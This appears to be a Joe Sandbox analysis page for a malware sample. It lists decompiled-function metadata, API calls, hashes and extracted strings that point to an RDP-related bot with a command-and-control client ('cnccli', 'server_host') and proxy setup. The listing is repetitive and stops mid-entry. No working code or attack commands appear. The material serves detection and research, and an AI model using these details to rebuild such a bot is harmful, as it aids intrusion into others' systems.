Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: strcmp
String ID: (name != NULL)$(sec != NULL)$(var != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(sec=%s,name=%s,value=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(sec=%s,name=%s,err=%08x)$cnccli$ini_get_var$server_host
API String ID: 1004003707-2347851921
Opcode ID: cf1616aad114c9908ff762f9604715a07226b35ad3038edca240e245e72a8459
Instruction ID: f07e5cbd02b9b3525c4274db3b98549f494a0c24a44b145ed91f2e8310ea8dab
Opcode Fuzzy Hash: cf1616aad114c9908ff762f9604715a07226b35ad3038edca240e245e72a8459
Instruction Fuzzy Hash: 814136E1A09647A1FA519F98ED007F46360FB843D8F889432EB4D475A6DF3CE949C304

Function 00007FF8B915C450 Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 97stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF8B915C53C

Strings

[W] (%s) -> Failed(sec=%s,name=%s,err=%08x), xrefs: 00007FF8B915C5B5
[D] (%s) -> Done(sec=%s,name=%s,value=%s), xrefs: 00007FF8B915C56D
main, xrefs: 00007FF8B915C453
NULL, xrefs: 00007FF8B915C5CE, 00007FF8B915C5D7
ini_get_var, xrefs: 00007FF8B915C499, 00007FF8B915C4CC, 00007FF8B915C4FF, 00007FF8B915C566, 00007FF8B915C5AE
(name != NULL), xrefs: 00007FF8B915C4C5
(var != NULL), xrefs: 00007FF8B915C4F8
version, xrefs: 00007FF8B915C450, 00007FF8B915C454
(sec != NULL), xrefs: 00007FF8B915C492
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8B915C48B, 00007FF8B915C4BE, 00007FF8B915C4F1
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8B915C4A0, 00007FF8B915C4D3, 00007FF8B915C506

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: strcmp
String ID: (name != NULL)$(sec != NULL)$(var != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(sec=%s,name=%s,value=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(sec=%s,name=%s,err=%08x)$ini_get_var$main$version
API String ID: 1004003707-2349658452
Opcode ID: 002b80f4f3ddb5d95a8a589fbe732dd8bd41aee7437ac21d3b594941e9e699d2
Instruction ID: 287578aa2a21f6dc6dcee38bb3bcc506b3ec7063b81699f57fea1b51d8e784ba
Opcode Fuzzy Hash: 002b80f4f3ddb5d95a8a589fbe732dd8bd41aee7437ac21d3b594941e9e699d2
Instruction Fuzzy Hash: 214128A1F086C7A6FA128F98E9507F42361AF043C8F554536EB4D46596EF7CFA49E300

Function 00007FF8B9188AE0 Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 97stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF8B9188BCC

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8B9188B30, 00007FF8B9188B63, 00007FF8B9188B96
(var != NULL), xrefs: 00007FF8B9188B88
main, xrefs: 00007FF8B9188AE3
ini_get_var, xrefs: 00007FF8B9188B29, 00007FF8B9188B5C, 00007FF8B9188B8F, 00007FF8B9188BF6, 00007FF8B9188C3E
version, xrefs: 00007FF8B9188AE0, 00007FF8B9188AE4
(name != NULL), xrefs: 00007FF8B9188B55
(sec != NULL), xrefs: 00007FF8B9188B22
[D] (%s) -> Done(sec=%s,name=%s,value=%s), xrefs: 00007FF8B9188BFD
[W] (%s) -> Failed(sec=%s,name=%s,err=%08x), xrefs: 00007FF8B9188C45
NULL, xrefs: 00007FF8B9188C5E, 00007FF8B9188C67
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8B9188B1B, 00007FF8B9188B4E, 00007FF8B9188B81

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: strcmp
String ID: (name != NULL)$(sec != NULL)$(var != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(sec=%s,name=%s,value=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(sec=%s,name=%s,err=%08x)$ini_get_var$main$version
API String ID: 1004003707-2349658452
Opcode ID: 487e31b225751ea3932902563ad00909ebac7d89d154fe2b6fceb74eda358456
Instruction ID: 9b0912578886116a81987c5c4c44bf5b6750102ee600f4478cc9fca2ba00daaa
Opcode Fuzzy Hash: 487e31b225751ea3932902563ad00909ebac7d89d154fe2b6fceb74eda358456
Instruction Fuzzy Hash: D9414BA2A19AC796FA248F4CE9803F46360BF443C8F554536EB6D46196DF7CEA46F300

Function 00007FF8BFB58409 Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 90stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF8BFB584FD

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB58459, 00007FF8BFB5848C, 00007FF8BFB584BF
(name != NULL), xrefs: 00007FF8BFB5847E
[W] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FF8BFB5855B
NULL, xrefs: 00007FF8BFB58574
version, xrefs: 00007FF8BFB58409, 00007FF8BFB5840D
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFB58444, 00007FF8BFB58477, 00007FF8BFB584AA
main, xrefs: 00007FF8BFB5840C
[D] (%s) -> Done(name=%s), xrefs: 00007FF8BFB5851D
ini_get_sec, xrefs: 00007FF8BFB58452, 00007FF8BFB58485, 00007FF8BFB584B8, 00007FF8BFB58516, 00007FF8BFB58554
(ini != NULL), xrefs: 00007FF8BFB5844B
(sec != NULL), xrefs: 00007FF8BFB584B1

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: strcmp
String ID: (ini != NULL)$(name != NULL)$(sec != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(name=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(name=%s,err=%08x)$ini_get_sec$main$version
API String ID: 1004003707-693788558
Opcode ID: 0b5434fd82731331c32f89b55454895718f2443e3b4546f6be8949ec3718175f
Instruction ID: 742dd8ba5f68486097fb4edf1a5f10ad994634536fe86cb358ed1482fa22ede2
Opcode Fuzzy Hash: 0b5434fd82731331c32f89b55454895718f2443e3b4546f6be8949ec3718175f
Instruction Fuzzy Hash: 0F412A61A09687A1FA209FD9F960BB8B360BF507C9F445136EB4D0A595DF3CFA96C300

Function 00007FF8BFB8C3C9 Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 90stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF8BFB8C4BD

Strings

[W] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FF8BFB8C51B
(ini != NULL), xrefs: 00007FF8BFB8C40B
server_host, xrefs: 00007FF8BFB8C3C9, 00007FF8BFB8C3CD
ini_get_sec, xrefs: 00007FF8BFB8C412, 00007FF8BFB8C445, 00007FF8BFB8C478, 00007FF8BFB8C4D6, 00007FF8BFB8C514
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB8C419, 00007FF8BFB8C44C, 00007FF8BFB8C47F
(sec != NULL), xrefs: 00007FF8BFB8C471
(name != NULL), xrefs: 00007FF8BFB8C43E
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8BFB8C404, 00007FF8BFB8C437, 00007FF8BFB8C46A
cnccli, xrefs: 00007FF8BFB8C3CC
NULL, xrefs: 00007FF8BFB8C534
[D] (%s) -> Done(name=%s), xrefs: 00007FF8BFB8C4DD

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: strcmp
String ID: (ini != NULL)$(name != NULL)$(sec != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(name=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(name=%s,err=%08x)$cnccli$ini_get_sec$server_host
API String ID: 1004003707-1509792781
Opcode ID: cec21c9f73427ec2da6491224bd564f2f11f16dbc1f39dfadc49aebaa499689f
Instruction ID: 660eefcef5034ac8e8b39a72640d4d9cc1f1a02ce92b75d51c5e348403d12047
Opcode Fuzzy Hash: cec21c9f73427ec2da6491224bd564f2f11f16dbc1f39dfadc49aebaa499689f
Instruction Fuzzy Hash: 2541EBE2A0964795FA209FD8E8417F46350AF843D8F888536DB4D5B5E6DF3DE58AC300

Function 00007FF8B915C2C9 Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 90stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF8B915C3BD

Strings

[D] (%s) -> Done(name=%s), xrefs: 00007FF8B915C3DD
main, xrefs: 00007FF8B915C2CC
NULL, xrefs: 00007FF8B915C434
ini_get_sec, xrefs: 00007FF8B915C312, 00007FF8B915C345, 00007FF8B915C378, 00007FF8B915C3D6, 00007FF8B915C414
(name != NULL), xrefs: 00007FF8B915C33E
version, xrefs: 00007FF8B915C2C9, 00007FF8B915C2CD
(sec != NULL), xrefs: 00007FF8B915C371
H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF8B915C304, 00007FF8B915C337, 00007FF8B915C36A
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8B915C319, 00007FF8B915C34C, 00007FF8B915C37F
[W] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FF8B915C41B
(ini != NULL), xrefs: 00007FF8B915C30B

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: strcmp
String ID: (ini != NULL)$(name != NULL)$(sec != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(name=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(name=%s,err=%08x)$ini_get_sec$main$version
API String ID: 1004003707-693788558
Opcode ID: f3b89cb6aefd98be79687eaabfb69af6a5614a3a306acbc797dd2fc7ffb4115a
Instruction ID: fb7dab05c66821b3b72e5ff386bbbd29d16671e27b3e38712a75eed6b50636a7
Opcode Fuzzy Hash: f3b89cb6aefd98be79687eaabfb69af6a5614a3a306acbc797dd2fc7ffb4115a
Instruction Fuzzy Hash: 94414962F086C7A6FA528F58E9417F82351AF007C8F458536DB4D1A596DF3DF986E300

Function 00007FF8BFB538AE Relevance: 18.1, APIs: 4, Strings: 8, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF8BFB538C3
LeaveCriticalSection.KERNEL32 ref: 00007FF8BFB53947
GetProcessHeap.KERNEL32 ref: 00007FF8BFB5397E
HeapAlloc.KERNEL32 ref: 00007FF8BFB53992

Strings

mem_alloc, xrefs: 00007FF8BFB539DE
(handler != NULL), xrefs: 00007FF8BFB538E1
[I] (%s) -> Done(handler=0x%p), xrefs: 00007FF8BFB53A16
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB538EF
[E] (%s) -> Failed(handler=0x%p,err=%08x), xrefs: 00007FF8BFB53969
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8BFB539E5
H:/Projects/rdp/bot/codebase/ebus.c, xrefs: 00007FF8BFB538DA
ebus_subscribe, xrefs: 00007FF8BFB538E8, 00007FF8BFB53962, 00007FF8BFB53A0F

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: CriticalHeapSection$AllocEnterLeaveProcess
String ID: (handler != NULL)$H:/Projects/rdp/bot/codebase/ebus.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(handler=0x%p,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(handler=0x%p)$ebus_subscribe$mem_alloc
API String ID: 285244410-3859226547
Opcode ID: 4940b5da95d0ae020ec3bfee3c5667328d6dcc69be74491bcb0805f1be78f140
Instruction ID: 6af90cc4b8b3021cbfa118ed8a0c5d89c4f2d72fedbe9bc540b588d1d096dc21
Opcode Fuzzy Hash: 4940b5da95d0ae020ec3bfee3c5667328d6dcc69be74491bcb0805f1be78f140
Instruction Fuzzy Hash: 56310CA2E09607A1FE519BDDE8603B97362AF44BC4F588435DA4E1B7A1EE3CF8558340

Function 00007FF8BFB89D6E Relevance: 18.1, APIs: 4, Strings: 8, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF8BFB89D83
LeaveCriticalSection.KERNEL32 ref: 00007FF8BFB89E07
GetProcessHeap.KERNEL32 ref: 00007FF8BFB89E3E
HeapAlloc.KERNEL32 ref: 00007FF8BFB89E52

Strings

[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB89DAF
ebus_subscribe, xrefs: 00007FF8BFB89DA8, 00007FF8BFB89E22, 00007FF8BFB89ECF
mem_alloc, xrefs: 00007FF8BFB89E9E
[E] (%s) -> Failed(handler=0x%p,err=%08x), xrefs: 00007FF8BFB89E29
H:/Projects/rdp/bot/codebase/ebus.c, xrefs: 00007FF8BFB89D9A
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8BFB89EA5
(handler != NULL), xrefs: 00007FF8BFB89DA1
[I] (%s) -> Done(handler=0x%p), xrefs: 00007FF8BFB89ED6

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: CriticalHeapSection$AllocEnterLeaveProcess
String ID: (handler != NULL)$H:/Projects/rdp/bot/codebase/ebus.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(handler=0x%p,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(handler=0x%p)$ebus_subscribe$mem_alloc
API String ID: 285244410-3859226547
Opcode ID: 355508e66cb6e762a7e8849211fc4bc2e8f7dfbd30af042564a4fb98cc735545
Instruction ID: 5b66072a1bff8190818ed39ff715ad96b81ae6efc3ba16493f5d8e0044077d6f
Opcode Fuzzy Hash: 355508e66cb6e762a7e8849211fc4bc2e8f7dfbd30af042564a4fb98cc735545
Instruction Fuzzy Hash: 1E310E61F0961791FE109F8DE8407B52791AF84FC5F989535CB4E473A6EE2CA945C340

Function 00007FF8B9151AAE Relevance: 18.1, APIs: 4, Strings: 8, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF8B9151AC3
LeaveCriticalSection.KERNEL32 ref: 00007FF8B9151B47
GetProcessHeap.KERNEL32 ref: 00007FF8B9151B7E
HeapAlloc.KERNEL32 ref: 00007FF8B9151B92

Strings

ebus_subscribe, xrefs: 00007FF8B9151AE8, 00007FF8B9151B62, 00007FF8B9151C0F
mem_alloc, xrefs: 00007FF8B9151BDE
(handler != NULL), xrefs: 00007FF8B9151AE1
H:/Projects/rdp/bot/codebase/ebus.c, xrefs: 00007FF8B9151ADA
[I] (%s) -> Done(handler=0x%p), xrefs: 00007FF8B9151C16
[E] (%s) -> Failed(handler=0x%p,err=%08x), xrefs: 00007FF8B9151B69
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8B9151BE5
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8B9151AEF

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: CriticalHeapSection$AllocEnterLeaveProcess
String ID: (handler != NULL)$H:/Projects/rdp/bot/codebase/ebus.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(handler=0x%p,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(handler=0x%p)$ebus_subscribe$mem_alloc
API String ID: 285244410-3859226547
Opcode ID: 27a32a85cc346afb59106e55f512f4edb1a767274d0ae344b874c7e539677345
Instruction ID: 799effd68652332ccc69ce4f3674460035339f01548c6f7b314710808e2707e1
Opcode Fuzzy Hash: 27a32a85cc346afb59106e55f512f4edb1a767274d0ae344b874c7e539677345
Instruction Fuzzy Hash: D1311764E09A9385FA129F1DE8603B52361AF44BC4F9AC435DB4D1B2A4EF6CF985F300

Function 00007FF8BA501AAE Relevance: 18.1, APIs: 4, Strings: 8, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF8BA501AC3
LeaveCriticalSection.KERNEL32 ref: 00007FF8BA501B47
GetProcessHeap.KERNEL32 ref: 00007FF8BA501B7E
HeapAlloc.KERNEL32 ref: 00007FF8BA501B92

Strings

H:/Projects/rdp/bot/codebase/ebus.c, xrefs: 00007FF8BA501ADA
[E] (%s) -> Failed(handler=0x%p,err=%08x), xrefs: 00007FF8BA501B69
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BA501AEF
mem_alloc, xrefs: 00007FF8BA501BDE
(handler != NULL), xrefs: 00007FF8BA501AE1
[I] (%s) -> Done(handler=0x%p), xrefs: 00007FF8BA501C16
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8BA501BE5
ebus_subscribe, xrefs: 00007FF8BA501AE8, 00007FF8BA501B62, 00007FF8BA501C0F

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: CriticalHeapSection$AllocEnterLeaveProcess
String ID: (handler != NULL)$H:/Projects/rdp/bot/codebase/ebus.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(handler=0x%p,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(handler=0x%p)$ebus_subscribe$mem_alloc
API String ID: 285244410-3859226547
Opcode ID: 95db56508a070af681d481542748a3197114f80687e374468034128ed152e278
Instruction ID: 19947cbe8e0dcef0503f328d5567c7c38baed407738b4202035a7d22951c7aae
Opcode Fuzzy Hash: 95db56508a070af681d481542748a3197114f80687e374468034128ed152e278
Instruction Fuzzy Hash: 07310A60A0D603D1FA619B9DECA03B62351BF46BD4F4490B6DE4D4B2B4EF2CAB49C301

Function 00007FF8B918F18E Relevance: 18.1, APIs: 4, Strings: 8, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF8B918F1A3
LeaveCriticalSection.KERNEL32 ref: 00007FF8B918F227
GetProcessHeap.KERNEL32 ref: 00007FF8B918F25E
HeapAlloc.KERNEL32 ref: 00007FF8B918F272

Strings

ebus_subscribe, xrefs: 00007FF8B918F1C8, 00007FF8B918F242, 00007FF8B918F2EF
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8B918F2C5
[E] (%s) -> Failed(handler=0x%p,err=%08x), xrefs: 00007FF8B918F249
(handler != NULL), xrefs: 00007FF8B918F1C1
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8B918F1CF
H:/Projects/rdp/bot/codebase/ebus.c, xrefs: 00007FF8B918F1BA
mem_alloc, xrefs: 00007FF8B918F2BE
[I] (%s) -> Done(handler=0x%p), xrefs: 00007FF8B918F2F6

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: CriticalHeapSection$AllocEnterLeaveProcess
String ID: (handler != NULL)$H:/Projects/rdp/bot/codebase/ebus.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(handler=0x%p,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(handler=0x%p)$ebus_subscribe$mem_alloc
API String ID: 285244410-3859226547
Opcode ID: 927ebebcac4c7bf28bae6e4b1e331234b1c0fbf7e3075d44c0c1b5d0e5bf19a7
Instruction ID: ad2bfea5774450aa2002049a40baa09234ccdd700e424db7ae88bcff5981aac5
Opcode Fuzzy Hash: 927ebebcac4c7bf28bae6e4b1e331234b1c0fbf7e3075d44c0c1b5d0e5bf19a7
Instruction Fuzzy Hash: D5314169E0DA8781FA549F4CE8807746352AF45BD4FA98031DB0D473A5EF2CE946F390

Function 00007FF8B918785C Relevance: 17.6, APIs: 2, Strings: 8, Instructions: 78COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF8B9187877
GetLastError.KERNEL32 ref: 00007FF8B91878B6

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

Strings

proxy_init, xrefs: 00007FF8B9187896, 00007FF8B91878C1, 00007FF8B918797C
, xrefs: 00007FF8B91878D4
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8B9187983
P, xrefs: 00007FF8B9187936
~, xrefs: 00007FF8B9187931
Done, xrefs: 00007FF8B918788F
[E] (%s) -> InitializeCriticalSectionAndSpinCount(cs_proxies) failed(gle=%lu), xrefs: 00007FF8B91878C8
[I] (%s) -> %s, xrefs: 00007FF8B918789D

Memory Dump Source

